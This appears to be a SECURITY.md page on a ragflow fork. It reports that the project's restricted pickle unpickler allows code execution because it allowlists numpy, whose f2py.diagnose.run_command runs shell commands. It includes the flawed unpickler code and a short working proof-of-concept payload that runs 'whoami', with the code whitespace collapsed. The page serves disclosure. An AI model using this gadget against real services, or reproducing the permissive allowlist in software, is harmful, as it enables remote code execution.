Skip to content

Security: HowToNameMe/ragflow

Security

SECURITY.md

Security Policy

Supported Versions

Use this section to tell people about which versions of your project are currently being supported with security updates.

VersionSupported
<=0.7.0

Reporting a Vulnerability

Branch name

main

Actual behavior

The restricted_loads function at api/utils/init.py#L215 is still vulnerable leading via code execution. The main reason is that the numpy module has a numpy.f2py.diagnose.run_command function to directly execute commands, but the restricted_loads function allows users to import functions in the numpy module.

Steps to reproduce

ragflow_patch.py

importbuiltinsimportioimportpicklesafe_module= {
'numpy',
'rag_flow'
}
classRestrictedUnpickler(pickle.Unpickler):
deffind_class(self, module, name):
importimportlibifmodule.split('.')[0] insafe_module:
_module=importlib.import_module(module)
returngetattr(_module, name)
# Forbid everything else.raisepickle.UnpicklingError("global '%s.%s' is forbidden"%
(module, name))
defrestricted_loads(src):
"""Helper function analogous to pickle.loads()."""returnRestrictedUnpickler(io.BytesIO(src)).load()

Then, PoC.py

importpicklefromragflow_patchimportrestricted_loadsclassExploit:
def__reduce__(self):
importnumpy.f2py.diagnosereturnnumpy.f2py.diagnose.run_command, ('whoami', )
Payload=pickle.dumps(Exploit())
restricted_loads(Payload)

Resultimage

Additional information

How to prevent?

Strictly filter the module and name before calling with getattr function.

There aren't any published security advisories